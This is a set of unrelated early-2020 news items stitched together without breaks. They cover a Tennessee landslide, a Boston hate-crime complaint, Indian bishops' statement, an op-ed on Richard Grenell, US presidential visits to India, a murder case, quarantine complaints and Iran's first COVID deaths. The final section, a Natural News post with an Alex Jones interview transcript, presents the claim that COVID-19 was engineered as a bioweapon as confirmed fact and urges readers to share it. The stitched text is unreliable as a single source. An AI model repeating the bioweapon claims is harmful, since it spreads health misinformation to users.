the side of the house closest to the river dips downwards after the ground gave way, This rips the other side of the property from its base and sends sparks shooting into the air. The entire building then plummets down the house with a crash, before a silence which is only broken by a woman yelling 'oh my God!' Sparks crackled and lit up the night sky as one of the homes tore from its wiring and toppled over the edge of the precipice Dramatic aerial video footage shows severe flooding in the Tennessee River in Hardin County, Tennessee on Saturday Video footage shows how flooding in Hardin County, Tennessee over the weekend Drone photos reveal the landslide laid waste to the homes on the spread of riverfront known as Chalk Bluff. The fire department shared the video on Facebook Saturday and posted: 'Today at 5.15 pm firefighters were called to 4870 Glendale road on a reported land slide along the Tennessee river in the area known as chalk bluff. 'Two houses were in danger of collapse , only one house was occupied and the homeowners were safely evacuated.' 'About an hour later the vacant house collapsed down the steep bank. The highway department has closed that area of Glendale road. This is a short video of the collapse.' The collapse took place as the river was reported at flood stage. The heavy rain had triggered multiple landslides over the past week in North Carolina, West Virginia and Tennessee. This week the South, already reeling from abnormally wet weather and flooding, will be inundated with even more rain as a series of storms will sweep through Louisiana, Mississippi, Alabama and Georgia, through Thursday, hammering the Pearl River basin the hardest There are currently flood warnings for Decatur and Hardin Counties in Tennessee for the Tennessee River. On Monday as of 1am the river's stage was at 388.3ft. The Flood stage is 370.0ft. While the river is steadily falling, it will remain at flood stage through the week. In Tennessee, Februarys rains have been '400% of normal, and we have more coming in this week,' Tennessee Valley Authority spokesman Jim Hopson said. 'Its kind of a never-ending battle.' 'Mother Nature is really the one in charge we simply try to manage what Mother Nature gives us, to minimize the impacts along the 652-mile Tennessee River and its thousands of miles of tributaries and stream,' he added. In some areas floods have reached the rooftops of homes, causing entire neighborhoods to disappear in muddy water below the Tennessee Valley Authority's Pickwick Reservoir. 'We have engineers on duty 24-7 trying to figure out what's the most effective way to move this water downstream with the least impact. They feel it. I feel it,' Hopson added. A letter to Boston Police Commissioner William Gross details an alleged hate crime incident where a Latin American mother and her 15-year-old daughter were attacked after speaking Spanish, accusing officers of being slow to investigate the incident. The letter, sent by Lawyers for Civil Rights, references a Feb. 15 incident near the Maverick Square T station in East Boston where individuals hurled racial slurs and physically attacked the mother, who was only identified as Ms. Vasquez, and her daughter. Lawyers for Civil Rights said officers took statements but failed to investigate the incident, protect the mother and daughter or take meaningful action until prompted by the Suffolk County District Attorneys Office. In this instance, what Ms. Vasquez and her young daughter endured is made even more disturbing by BPDs lackadaisical attitude and lackluster response, the letter states. It is unclear what they mother and daughter alleged happened. The letter did not elaborate, and the Boston Police Department did not immediately respond to requests for comment. The Suffolk County District Attorneys Office confirmed it is aware of the incident alleged, but did not elaborate on the allegations. In the letter, Lawyers for Civil Rights said the incident is hardly rare in East Boston. The organization called for the department to fully investigate the hate crime and review its process for identifying hate crimes. Related Content: Dotting mother to her son and Bollywood actor Shilpa Shetty and husband Raj Kundra have welcomed a new member to their family - a baby girl whom they named Samisha Shetty Kundra. The couple welcomed their second child on February 15. The actor took to social media to share the news. "Born: February 15, 2020, ~ Please bestow our angel with all your love and blessings ~ Ecstatic parents: Raj and Shilpa Shetty Kundra." Shilpa posted on her Twitter account along with a cute picture that featured the newborn baby, who is holding Shilpa's finger. "Our prayers have been answered with a miracle. With gratitude in our hearts, we are thrilled to announce the arrival of our little Angel. Samisha Shetty Kundra. Born on 15th February 2020 Junior SSK in the house," read the caption of the post. Later in the post, Shetty even explained why she named her daughter Samisha. "'Sa' in Sanskrit is "to have", and 'Misha' in Russian stands for "someone like God," she explained. The couple has a son named Viaan who was born in May 2012. According to various reports, Shilpa and Raj Kundra opted for their second baby through surrogacy. The Catholic Bishops Conference of India (CBCI) released a statement on Feb. 19 at the end of its 34th plenary assembly, calling for dialogue, reciprocal respect and collaboration among the countrys religious traditions and cultures for the common good. Vatican News Indias Catholic Church has pledged to continue on the path of dialogue and collaboration with all in the task of nation-building and the common good. At the same time, it appealed against a narrow and divisive cultural nationalism that fuels contempt for cultures other than the majoritarian dominant culture. The 192 bishop members of the Catholic Bishops Conference of India (CBCI), the apex body of the Church in the country, made the call on Wednesday in a statement at the end of their 34th plenary assembly. Dialogue: The Path to Truth and Charity, was the theme of the biennial meeting held in the southern Indian city of Bengaluru, February 13-19. Genuine patriotism While expressing their fidelity to Jesus Christ and their unflinching loyalty to the nation the bishops warned against a narrow and divisive cultural nationalism, which is radically different from Constitutional nationalism. Patriotism, they explained, is defined as directing the attention of the citizens to the good of the whole human family, united by the different ties which bind together races, people and nations. They reminded Christians of their sense of responsibility and their commitment for the common good. False nationalistic ideologies that instigate contempt for cultures other than the majoritarian dominant culture, it said, are capable of perpetrating atrocities. Patriotism builds up the nation while pseudo nationalism destroys the integrity, unity and harmony of the nation, the Indian bishops pointed out, noting that nationalism, particularly in its most radical and extreme forms, is thus the antithesis of true patriotism. Citizenship, pseudo nationalism, totalitarianism The CBCI plenary assembly came against the backdrop of nationwide protests against the governments Citizenship Amendment Act (CAA), which allows minorities from Pakistan, Bangladesh and Afghanistan who settled in India prior to 2015 to obtain Indian citizenship but excludes Muslims, which is discriminatory. In the spirit of the Constitution, the Church leaders urged that religion not be a criterion for determining Indian citizenship. Rights groups say that critics of the government and the ruling party are often branded as anti-national and traitors, creating panic and division among people. Indias Catholic bishops appealed to the nations authorities to come forward with sincere and effective means to erase the sense of fear, anxiety and uncertainty spreading in the nation, especially among the religious minorities, and ensure that pseudo nationalism does not continue to give rise to new forms of totalitarianism. Constitution unites In the final statement, the Catholic bishops of India also expressed their pride for and trust in the Indian Constitution that resolves to secure justice, liberty, equality and fraternity for all its citizens. They encouraged believers of all religions to respect one another other and their religious traditions, thus cooperating with one another to promote peace and harmony and work for the common good of all. Homogenized mono-culture Being open to dialogue, they said, calls for being absolutely consistent with ones own religious tradition and cultural identity, which must be respected at any cost. Attempts to homogenize and impose a mono-cultural pattern pose serious threats to the cultural patrimony of our country, they said. No culture or religion shall dominate over other cultures and religions, the bishops said, warning that subduing certain cultures by the dominant culture will destroy the brotherhood and harmony existing in the country. Dalits and tribal people Indias Catholic Church also called on the State authority to take adequate steps to ensure justice to the poor, the Dalit Christians and the tribal people, by eradicating poverty, exploitation, discrimination, and every other form of sinful structures. Environment Another aspect of dialogue, the bishops said, is the obligation to protect the ecological equilibrium of the earth, intended by the Creator. Therefore dialogue with nature includes serious steps to mitigate climate change, clean the land and the seas, and start treating all of creation with respect and concern. The right of the unborn The Indian bishops called for upholding the right to life of the unborn, saying each and every human life has inherent dignity, and thus must be treated with the "respect due to a human person from womb to tomb". The bishops appealed to the government immediately withdraw the new Medical Termination of Pregnancy Bill in the Parliament, which allows abortion at any time during the pregnancy till the 24-week gestation period. Interreligious dialogue and peace The Catholic Church of India also encouraged interreligious dialogue, saying there will be no peace among nations without peace among religions, and there cannot be peace among religions without dialogue among religions. In this regard, the Church leaders expressed alarm over the persecution of innocent people by fundamentalist and terrorist groups worldwide. Interreligious dialogue in India, they said, should aim at collaboration in areas such as peace-building, protection the environment, eradication of poverty and ensuring the human dignity of all, especially of women and children. It also means condemning all wars, violence and terrorism that create insurmountable blocks to dialogue. The Indian Church thus pledged to engage itself in a process of dialogue for a reconciled society. The CBCI plenary re-elected Cardinal Oswald Gracias of Bombay as president. Archbishop Mar George Njaralakatt of Tellicherry and Bishop Joshua Ignathios of Mavelikara were also re-elected as vice-presidents. Archbishop Felix Machado of Vasai Diocese was elected as Secretary-General of CBCI. The country's foreign exchange reserves swelled by $3.091 billion to a lifetime high of $476.092 billion in the week to February 14, mainly due to a rise in foreign currency assets, according to the RBI data. In the previous week, the foreign exchange reserves had increased by $1.701 billion to $473 billion. Foreign currency assets, a major component of the overall reserves, rose by $2.763 billion to $441.949 billion in the reporting week. Expressed in dollar terms, the foreign currency assets include the effect of appreciation or depreciation of non-US units like the euro, pound and yen held in the foreign exchange reserves. Gold reserves rose by $344 million to $29.123 billion. The special drawing rights with the International Monetary Fund (IMF) were down by $6 million to $1.430 billion. The country's reserve position with the IMF also declined by $9 million to $3.590 billion, the data showed. Please, Mr. President, re-think this one. Richard Grenell, as close a friend and ally as he might be, is very much the wrong man at the wrong time as acting Director of National Intelligence. He is a catastrophe-in-waiting who will be in a position he is totally unqualified to hold, one that is central to America's national security. Most alarming, however, is the reported back story about just how Grenell came to be pitched at the last moment into this job for which he is all but utterly unqualified. The New York Times reported Thursday afternoon that Trump exploded at Joseph Maguire, a veteran intelligence operative who was the current acting DNI after it became known that one tell-it-like-it-is Maguire deputy told a bipartisan congressional committee, including Trump's archnemesis, Adam Schiff, that Russia is back at it again -- pushing Trump's re-election. A source familiar with internal discussions said White House officials saw Grenell as a stopgap -- Maguire's time in the job as an acting DNI was limited, and Trump was dissatisfied with Maguire because of this intelligence briefing. True, Ambassador Grenell has demonstrated in his years as Ambassador to Germany a clear ability and willingness to defend and promote the Trump agenda. But the role of the DNI, as defined by the Intelligence Reform and Terrorism Protection Act of 2004 that created the position, requires this individual to "establish objectives and priorities for the intelligence community and manage and direct tasking of collection, analysis, production, and dissemination of national intelligence." Indeed, the DNI's office is specifically mandated to be situated outside not only the offices of any of the 17 disparate intelligence agencies it oversees but even specifies that it "shall not be located in the Executive Office of the President." There are good reasons for this and that have motivated the choice for the office by every president since it was created in the wake of 9/11widely seen as a byproduct of the toxic lack of coordination between intelligence agencies. The DNI must be seen as a neutral arbiter among America's vast intelligence community that ranges from the Central Intelligence Agency (CIA), Defense Intelligence Agency (DIA) and National Security Agency (NSA) to the FBI, DEA and intelligence units of the Departments of State, Energy, Homeland Security and Treasury. The skill set required for the job is also quite clear. He or she must be a mediator, bringing often-conflicting people and ideas together to reach a consensus or at least a viable menu of choices for the president's final decision on life-or-death matters. But above all, this individual must be deeply conversant with the arcane language and practices, sources and methods that make up the core mission of the intelligence communities. Some DNIs have come from the community itself. The most recent and effective, Dan Coats, served for years as a leading member of the Senate Select Committee on Intelligence and the Senate Armed Services Committee. Rick Grenell brings none of this to the table. Trained largely as a spokesman and advocate, from his first arrival in Germany as ambassador Grenell managed to alienate much of the nation where he was designated as the leading American representative. Two days after his arrival, Grenell, with no diplomatic or managerial background, tweeted to his new hosts: "As @realDonaldTrump said, US sanctions will target critical sectors of Iran's economy. German companies doing business in Iran should wind down operations immediately." This was only the launching point of a string of intemperate comments that were taken as public threatsan effort to burn rather than build bridges. Yet Germany is not only one of America's most valuable trading and security partners, it also is a most valuable intelligence ally as wellthe Bundesnachrichtendienst (BND) has cooperated closely with the CIA for decades. Grenell spent considerable effort in Berlin warning that Germany's use of Huawei technology in 5G telecom networks would mean the "US won't be able to maintain the same level of cooperation with German security agencies." Grenell does have one key attribute for a DNIthe President's full and utter confidence. The problem is that he may very well be even more ignorant of intelligence matters than the man he will be advising. And, while the position is seen as determinedly non-partisan, Grenell is very much a polarizing figure, which no doubt is one attribute that appeals especially to the President. Coupled with a long history of nastiness and misogyny that nearly torpedoed his Senate confirmation as ambassador to Germany, his is a resume that bodes ill for this most sensitive of administration positions. The DNI is supposed to present to the president the best and most objective analysis of the world each day and options, especially in moments of crisis, for presidential action. It is the National Intelligence Council, over which the DNI presides, that is responsible for the PDB the President's Daily Brief -- which, as its job description states, "organizes the Intelligence Community' daily intelligence reporting to the President." In 1965, I was offered a job (which I ultimately declined) on the recently-formed PDB desk, then located at the CIA. At the time, I was a young college journalist and my background was what they were seeking an ability to report objectively and accurately on the news (often highly classified) for a single key reader, the president. There is nothing in Grenell's background that suggests any sense or understanding of the nature or value of objectivity. My overwhelming concern goes even more deeply to the heart of the inevitable crises that will ensue in any Trump presidency. When there is a menu of choices for any specific action, will Grenell reflexively skew his advice to the most extreme, or the most measured and reflective of the ultimate goal? This was the problem when Trump suddenly authorized the assassination of Iranian General Qasem Soleimani. As The New York Times reported in January: "Some Pentagon officials were shocked that the president picked what they considered the most extreme option and some intelligence officials worried that the possible long-term ramifications were not adequately considered, particularly if action on Iraqi soil prompted Iraq to expel American forces." The function of the DNI should be to offer sober analysis deeply rooted in the vast trove of facts that our $60-billion-a-year intelligence machine can muster. Richard Grenell hardly seems to be the individual tailored to fill that role. When Indian Prime Minister Narendra Modi visited the U.S. last year, he was greeted by a massive crowd at a Texas rally, billed as one of the biggest-ever receptions for a foreign leader. India is now preparing to return the favor ahead of President Donald Trumps first official visit to the country on Feb. 24 and 25. About 100,000 people are expected to attend the Namaste Trump event planned in the Indian city of Ahmedabad in Modis home state of Gujarat. Modi and Trump will also lead a parade through the city on Trumps two-day trip, which is expected to focus on trade relations between the two countries and their shared concern about Chinas growing influence in the region. This wont be the first time massive crowds have turned out in India to receive a visiting U.S. leader. President Bill Clinton also received a large, cheering reception during his trip to India in 2000. But not every U.S. president has been received so warmly, and the history of official visits tracks the ups and downs in the relationship between the worlds two largest democracies over the last 70 years. Trumps state visit also comes at a difficult time for Modi. Anti-government protests against a controversial citizenship law have engulfed the country since December. Indias move to revoke Kashmirs autonomy in August also drew sharp criticism from many in the international community, including members of the U.S. Congress. But experts believe Trump is not likely to raise these issues during his trip, much to the Indian governments relief. There is a lot of pressure on India over its socially divisive policy moves, Richard M. Rossow, senior adviser at the Center for Strategic and International Studies in Washington, tells TIME. A presidential visit is a sign that the U.S. will continue developing the relationship despite these issues. Ahead of Trumps trip to the South Asian nation, here is a look at previous U.S. presidential visits to India. Story continues Dwight D. Eisenhower, 1959 US President Dwight D. Eisenhower with Indian Prime Minister Jawaharlal Nehru at the Rashtrapati Bhavan in New Delhi, during Eisenhower's Goodwill Tour, Dec. 14, 1959. | Keystone/Hulton Archive/Getty Images The first state visit by a U.S. president to independent India came in the throes of the Cold War, in which India decided to remain neutral. Indias presence at the head of the Non-Aligned Movement, which committed the country not to take sides between the U.S. and the Soviet Union, had kept the two countries estranged until then. During his trip, Eisenhower addressed both houses of the Indian Parliament and visited the Taj Mahal with Prime Minister Jawaharlal Nehru. The trip marked a significant shift in the perspective of many in Washington, who had thought of India as being close to the communist Soviet Union. Richard Nixon, 1969 U.S. President Richard Nixon waves to crowds as he rides in open car with the acting president of India, Mohammad Hidyatullah, in motorcade from airport on July 31, 1969. | Bettmann Archive/Getty Images Nixons one-day trip to India was primarily aimed at de-escalating tensions with Prime Minister Indira Gandhi. The two leaders had a frosty relationship because of Indias decision not to take sides in the Cold War and and the U.S. decision in the early 1960s to deepen its partnership with Indias archrival, Pakistan. Two years later, the relationship soured further when Nixon supported Pakistan in the India-Pakistan War of 1971, which led to the creation of Bangladesh. In the run-up to the war, India had signed a treaty with the Soviet Union shifting from its original position of Cold War neutrality. Jimmy Carter, 1978 U.S. President Jimmy Carter is welcomed by Prime Minister Moraji Desai, standing with Rosalind Carter and future Indian Prime Minister Atal Bihari Vajpayee, during an arrival ceremony in New Delhi, India in January 1978. | Universal History Archive/Universal Images Group/Getty Images When Carter visited India, the intention was to thaw tensions that remained after the 1971 war and Indias first nuclear test in 1974. He addressed the Indian Parliament and left a lasting impact on a small town near New Delhi, which was later renamed Carterpuri after him. However the trip couldnt convince Prime Minister Morarji Desai to give up Indias nuclear ambitions, a move that irritated the Americans. Bill Clinton, 2000 U.S. President Bill Clinton and daughter Chelsea Clinton visit the Taj Mahal on March 22, 2000. | Stephen JaffeAFP/Getty Images Clintons India trip, the first by a U.S. President for more than 20 years, was a landmark one that came after a prolonged lull in the relations between the two countries. Following the disintegration of the Soviet Union in 1991, alliances had shifted. During the 1999 war between Pakistan and India, the U.S. under Clinton sided with India, the first time the country had supported India against Pakistan. In 1991, India initiated a policy of economic liberalization that opened doors to foreign investment. This was also a major boost to trade relations between the U.S. and India. Clinton visited with his daughter, Chelsea Clinton. His speech in the Indian Parliament received rapturous applause and he toured several Indian cities, leaving many in the country star-struck. President Clinton was wildly popular in India, said Bruce Riedel, a senior adviser at Brookings Institute who helped organize Clintons trip to India. It was like traveling with the Beatles or the Rolling Stones in the 1960s. George W. Bush, 2006 U.S. President George W. Bush shakes hands with Indian President A.P.J. Abdul Kalam while Prime Minister Manmohan Singh looks on during an official welcoming ceremony at the Presidential Palace in New Delhi on March 2, 2006. | Emmanuel DunandAFP/Getty Images The highlight of George W. Bushs trip was the finalization of a landmark nuclear deal, which was agreed upon in 2005. Under the agreement, India separated its civil and military nuclear programs and opened its civilian facilities including nuclear power plants for international inspection. In return, the U.S. ended a ban on nuclear trade with India. The significant move was also accompanied by other measures that boosted economic and security ties. In an administration defined by the post-9/11 war on terrorism and the invasion of Iraq, experts think developing relations with India was one of Bushs significant foreign affairs achievements. Ahead of his trip to India, TIME had described his relationship with the country as something of a bright spot. He definitely deserves credit for recognizing India as a security partner, Riedel says. He walked a fine line that allowed for the development of stronger relations with India as well as with Pakistan. Barack Obama, 2010 and 2015 U.S. President Barack Obama and First Lady Michelle Obama spread rose petals as they participate in a wreath laying ceremony at Raj Ghat in New Delhi, India, Nov. 8, 2010. | Jim WatsonAFP/Getty Images Obama visited India twice. During his first trip in 2010 during the administration of Prime Minister Manmohan Singh, he backed Indias bid for a permanent seat in the United Nations Security Council. In addition to $10 billion in trade deals, the two leaders also agreed to boost defense and national security ties, which led to the easing of export regulations on high-technology goods to India. U.S. President Barack Obama; Indian Prime Minister Narendra Modi, right; Indian President Pranab Mukherjee, second from the left; and First Lady Michelle Obama attend a reception at Rashtrapati Bhawan, the Presidential Palace, in New Delhi on Jan. 26, 2015. | Saul LoebAFP/Getty Images The second time around, Obama came to India on Prime Minister Narendra Modis invitation to be the chief guest at the countrys Republic Day celebration, which marks Indias constitution going into effect. The trip went smoothly until Obama made comments on religious freedom in the country, saying India will succeed so long as it is not splintered along the lines of religious faith. On his return to Washington, he cited concern about acts of intolerance on religious lines in India. His comments didnt go down so well with some members of Modis Hindu nationalist government and triggered backlash in the national media. A Washington state man was arrested this week on suspicion of killing a 21-year-old San Pablo woman after he allegedly told investigators he bludgeoned her with a liquor bottle following an argument in the Olympic National Forest. A person discovered the body of Dioneth Lopez the morning of Feb. 14 while walking in a wooded area off a U.S. Forest Service road, according to the Clallam County Sheriffs Office. The person called out to her, but she did not respond. Uncertain if the woman needed medical assistance, the person called authorities, who responded around 11 a.m. Deputies and medics arrived and pronounced Lopez dead at the scene. Inspectors canvassed the scene for evidence and soon determined she likely died of homicidal violence. On Wednesday, sheriffs detectives arrested Alejandro Jesse Aguilera-Rojas, a 23-year-old resident of Renton, Wash. Investigators said they learned from one of Lopezs friends that Lopez told Rojas she would inform his wife of their extramarital affair if he didnt spend time with her, according to an arrest report filed by the Sheriffs Office. The report details Rojas description of events leading up to Lopezs death, evidence collected from the scene, video surveillance that shows the suspect and victim shopping at a store, and cell phone data that trace some of the movements and cell usage of both individuals in the hours leading up to the homicide. During a video-recorded interview with a detective and FBI agent on Wednesday, the report says, Rojas told investigators that he picked up Lopez from the Seattle-Tacoma International Airport in his red pickup truck on Feb. 10. She had just flown in from California, officials said. He then drove her to Blyn. He admitted to driving Lopez into the forest and following a fight, struck her in the head with a Tequila bottle, officials said. In the video-recorded interview, Rojas said Lopez threatened to kill him, his wife and his children and tried stabbing him on the morning of Feb. 11, but did not reach him, the report reads. He told detectives that Lopez fell and hit her head on an open truck door, which dazed her, the report reads. He told officials he struck her on the head with a Tequila bottle, pushed Lopez into the woods, and drove away from the scene, the report says. Rojas arrived at his Renton residence at around 2 p.m. that day, where the report says he discarded Lopezs travel duffel bag in a dumpster at his home. One of Lopezs two cell phones was found on the side of the road in Renton, and the other phone was found in the trash at an undisclosed 7-Eleven convenience store, the report says. The report says detectives found two knives at the scene, a red Milwaukee-brand knife and a blue folding knife. Video surveillance collected from Longhouse Market & Deli, a market and gas station in Sequim, showed Rojas and Lopez pull into the stores parking lot at about 5:40 p.m. on Feb. 10. Video shows the pair shopping in the store before retiring to the pickup, the report says. Rojas told investigators that they slept there, near the restrooms. Just after midnight, in the early-morning hours of Feb. 11, the report says surveillance footage shows them driving away in the truck, eastbound on Highway 101. Rojas told investigators that he went on to drive Lopez into the woods. The morning after Lopezs body was found, a person from Washington state called San Pablo police to report his 21-year-old female friend had gone missing. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. It was strange that she had not contacted him in the last couple of days, Capt. Brian Bubar, a spokesman for San Pablo police, said about the initial report. Bubar said Lopez appeared to have family in San Pablo and Mexico, and she traveled frequently. It wasnt uncommon for her to be in the Washington area, he said. San Pablo authorities logged Lopezs information into a national missing persons database and tried tracking her phone in an attempt to locate her. They learned she had last been seen earlier in the week in Washington and started coordinating with police there. Detectives later confirmed Lopezs identity by comparing fingerprints from the then-unidentified woman with prints on file at the California Department of Motor Vehicles. Federal agents started helping with the investigation because the body was found on federal forest land, police said. Rojas is being held at the Clallam County Corrections Facility on $1 million bail, according to jail records. San Francisco Chronicle staff writer Lauren Hernandez contributed to this report. Alejandro Serrano is a San Francisco Chronicle staff writer. Email: alejandro.serrano@sfchronicle.com Twitter: @serrano_alej Highly anticipated: Any gaming platform is only as good as its content. As cloud gaming surges, companies are battling each other to be the go-to service, trying to one-up each other in their offerings. While we already know that Stadia will be getting Cyberpunk 2077 at some unannounced time, Nvidia has strengthened its partnership with CDPR to promise its GeForce Now members the title on the day it launches. Nvidia has announced that CD Projekt Reds Cyberpunk 2077 will be landing in the GeForce Now library the same day of its release. Nvidias cloud gaming platform is currently compatible with Windows, macOS, Android, and Shield TV. The company also notes that users will be able to take advantage of GeForce Nows RTX On ray-tracing technology no matter what hardware configuration they have. Nvidia needed some good news after revealing Activision Blizzard games were being removed from its library over a misunderstanding. Having one of the most highly-anticipated games of 2020 in its stable is a big leg up for the platform, especially considering it will be getting it on day one. Last year, CDPR announced Cyberpunk 2077 would be hitting Googles Stadia service, but did not indicate whether it would be available on the same day it hits consoles and PC. Bringing Cyberpunk 2077 to GeForce Now is not the only thing the two companies have been collaborating on either. On Sunday, Nvidia unveiled a limited edition Cyberpunk 2077 RTX 2080 Ti. The company is giving away 77 of the GPUs as part of a cross-promotion with CDPR on social media. While cloud gaming has yet to prove itself, there are still plenty of early adopters who will be pleased to hear that Cyberpunk 2077 will be arriving on GeForce Now on September 17. LAST week, the Cebu Provincial Government sent home 21 Filipino passengers from Taiwan who were placed in a quarantine after they arrived at the Mactan-Cebu International Airport. Most of them were from Davao City. They complained about the lack of electricity and water and clogged bathrooms at the quarantine facility in Barangay Apas in Cebu City. Some demanded separate rooms, as well as fruits and vitamins. Gov. Gwendolyn Garcia had said the travelers should have understood that it was all the Province could provide. It has water. It just so happened that we ran out. There is also electricity. We prepared as best as we could. We cleaned the facility. Maybe its just not up to their standard. Maybe they were expecting a mansion, the governor had said. Garcia said the Province didnt encounter the same problem from passengers from Hong Kong who were also placed in a quarantine the week before. They accepted the fact that they needed to be isolated to make sure they werent infected with the coronavirus disease 2019, or Covid-19, and to prevent its spread if they were, she said. The Filipino travelers from Mindanao werent the only ones complaining. Some Hong Kong residents who were on board a cruise ship were allowed to fly home after they were quarantined in Japan only to head straight to another quarantine facility in Chun Yeung Estate in Fo Tan. According to a news report, one returnee found the conditions totally unacceptable. The floor in the room that he and his wife were confined in was not tiled. The concrete was exposed. There was no toilet paper, he said, and it was dusty. The quarantined passengers from Mindanao and the Hong Kong nationals had every right to vent their frustration. They were tired and probably afraid. They just wanted to go home and be with their loved ones. However, they failed to see the purpose of the quarantine, which is to prevent the spread of or contain the contamination so as not to put the rest of the population at risk. Once they see this, theyll realize that theirs was a small sacrifice to pay for the safety of everybody. A suspect wanted in the slaying of a 57-year-old man in Brighton last week is now in jail. Jason Green, 37, is charged with capital murder, murder and theft of property, according to Crime Stoppers. Authorities confirm Green is sought in the Feb. 12 killing of Gerald Clifton Bell. He was captured Thursday by U.S. Marshals. Jefferson County sheriffs deputies and Brighton police responded at 6:56 p.m. that Wednesday to the 4000 block of Fourth Avenue on a report of a man down. When they arrived on the scene, they Bell unresponsive. He was pronounced dead on the scene at 7:13 p.m. There were several witnesses to the event that led to the death, authorities said. The call initially went out over the police radios as a shooting. Authorities later said the victim had not been shot. They have not yet released how he was killed or disclosed a possible motive int he case. Green was booked into the Jefferson County Jail just before 6 p.m. Thursday. He is being held without bond. By PTI TEHRAN: Iran's health ministry Friday reported two more deaths among 13 new cases of coronavirus in the Islamic republic, bringing the total number of deaths to four and infections to 18. "Thirteen new cases have been confirmed," ministry spokesman Kianoush Jahanpour said on Twitter. "Unfortunately two of them have lost their lives." The COVID-19 outbreak first appeared in Iran on Wednesday, when officials said it killed two elderly people in the Shiite holy city of Qom, the first confirmed deaths from the disease in the Middle East. ALSO READ | Another corovirus hotspot in China: Over 500 cases detected in prisons across country The newly reported cases included "seven in Qom, four in Tehran, and two in Gilan" on the Caspian Sea coast, Jahanpour tweeted. "Most of the cases are still either Qom residents" or were people who had come from Qom to other provinces "in recent days and weeks", he added. The official did not say anything about the suspected source of the outbreak in the Islamic republic. He added that Iran had so far received from the World Health Organization four shipments of medical kits used to detect COVID-19. Qom is a centre for Islamic studies and tourists, attracting scholars from Iran and beyond. However, a government official said the first two people who died of the disease had not left Iran. ALSO READ: 645 Indians evacuated from coronavirus-hit Wuhan tested negative, says Harsh Vardhan Following the announcement of those deaths, Iraq on Thursday clamped down on travel to and from the Islamic republic. The health ministry in Baghdad said people from Iran had been barred from entering Iraq "until further notice". Kuwait's national carrier Kuwait Airways also announced it would suspend all of its flights to Iran. Iran was holding a parliamentary election on Friday, with state media saying that the coronavirus had not been able to dampen "the revolutionary zeal of Qom's people" to turn out to vote. (Natural News) What follows is one of the most important interviews of the year. Biological warfare expert Prof. Francis Boyle appeared as a guest with Alex Jones on the Alex Jones Show, sharing his smoking gun findings about the coronavirus being engineered as a weapon thats designed, for efficient spreading in the human population, according to one of the science papers he references. We confirmed Prof. Boyles findings by purchasing the full PDF of that paper and reviewing it in a detailed article we posted yesterday at this link. That paper describes the CoVid-19 novel coronavirus as possessing unique gain-of-function properties that make it the perfect bioweapon, while confirming these new properties were from artificial origins, not natural viral evolution. (In other words, it was engineered.) Below, we print the full transcript of the Francis Boyle / Alex Jones interview, along with the video of the full exchange below, via Brighteon.com. (The full show is also posted on Banned.video) If you hope to understand anything about whats happening right now with the coronavirus pandemic, the global cover-up and how the taxpayer-funded NIH is behind these biological weapons, you need to hear and share this interview. You have permission to copy this full transcript and full video and post it on your own site. Please give us credit, since our team carried out the transcription task. Also, note that we are launching Pandemic.news as a new hub for all podcasts, downloadable MP3s, videos, articles and science study links related to this coronavirus outbreak. Check it all out at Pandemic.news, which we are just launching today. Heres the full video of the interview: Full transcript SHARE this everywhere, re-post, tweet and cover: (Please excuse any minor errors, this was transcribed in a bit of a hurry due to the urgency of the message) (bolding emphasis added, pay special attention to the bolded sentences) Alex: All right. I have not touched the coronavirus today because I was waiting for Professor Dr. Francis A. Boyle to come on, leading American expert international law; responsible for drafting the Biological Weapons Anti-terrorism Act of 89, which was an adopted into world law, the American-implementing legislation for the biological weapons convention. He served the board of directors of Amnesty International and represented Bosnia and Herzegovina to World Court. He served as a legal advisor to Palestinian delegation, the Middle East peace negotiations. In 2007 he delivered the Bertrand Russell peace lectures. Professor Boyle teaches international law at University of Illinois and is author of and it goes through all of the different books hes written. He holds a Doctor of Law, magna cum laude; holds a PhD in political science from Harvard university. His latest book is Poems Against the Empire, which is a collection of poetry reflections on his experiences fighting for peace, justice, human rights, international law, social welfare and the United States Constitution. And he joins us now. I would call him the classical liberal. A liberal today or leftist is a fascist. Its like a neo-con as a fascist. And so, the terms dont mean anything. And hes got big breaking exclusive news here. And he sent me notes, but I think the best way to do this is for at least the next three segments, he pretty much hosts, so that he can walk you through this. But this is serious news. This is very important news everybody should pay attention to. The Wuhan coronavirus came out of the biowarfare lab. Thats even being said by the White House now. Dr. Boyle and others were saying it three weeks ago. The UNC labs should be shut down, everyone investigated for violating the Biological Weapons Anti-terrorismAct. Hes got major studies that have just come out. So, hes an expert on bioweapons and the law. Weve got eight minutes to break here, then a nine-minute segment- a 10-minute segment. Ill take us into break, Dr. Boyle. But you go ahead and host. Youve got the floor here. Thanks for joining us. Dr. Boyle: Well, Alex, thank you very much for having me on my best to your viewing audience. Yes. I sent your assistant an email on Monday that I had revised my opinion on certain matters and also, I had come up with what I concluded were the smoking guns that the Wuhan coronavirus came out of that BSL-4 facility. And youll note now that Senator Cotton saying the same thing. He was behind me at Harvard law school, and despite that, the New York Times slammed him. And as you know, Senator Cotton is a decorated combat veteran. No surprise there for the New York Times. So yes, I have these scientific studies now. Basically, I read these things over the weekend, which is why, I changed my mind and said I had new information and alerted your assistant on a Monday. And today is the first day I could give you an extensive interview. I want to go through these scientific studies so that you and the viewing audience understand their implications. I believe they are the smoking gun of what happened here. The first is by some life scientists: three from Marseilles, France and one from Montreal clinical research laboratories there. It was published on antiviral research 10 February 2020, okay. And I had a chance to read it over the weekend. You know, I read these types of things over the weekend. Now Im not going to go through this whole study, but they did a genetic analysis of the Wuhan coronavirus. And let me just conclude, the critical part here where it says, and may provide a gain of function to the 2019 nCoV for efficient spreading in the human population compared to other beta coronaviruses. Let me repeat that: and may provide a gain of function to the 2019 nCoV for efficient spreading in the human population compared to other beta coronaviruses. And so, Alex, you recall in the first interview I gave to your colleague, Mr. Shroyer, and then the follow-up interviews I gave to you, I stated that this was clearly a gain of function, offensive biological warfare agent Alex: You said that three weeks ago, you said that two weeks ago and now its not just a big Indian Institute. Now more live scientists have scanned it. Theyre saying exactly what you were saying. Dr. Boyle: Right? Well, this article here is the smoking gun. Okay. It clearly Alex: Tell people again the article and how they find it. Dr. Boyle: Well, you can- I got it on a Science Direct Antiviral Research 10 February 2020. Alex: Antiviral Research Dr. Boyle: 10 February 2020. And its a long title, but it starts out The spike glycoprotein coronavirus contains a furin-like cleavage site absent in CoV of the same clade. Alex: So thats exactly what the prestigious Indian Institute said is that it has the points where the artificial RNA was injected, I mean, they can see right where it happened. Dr. Boyle: Right. But this was a genetic as you know, that was withdrawn under political 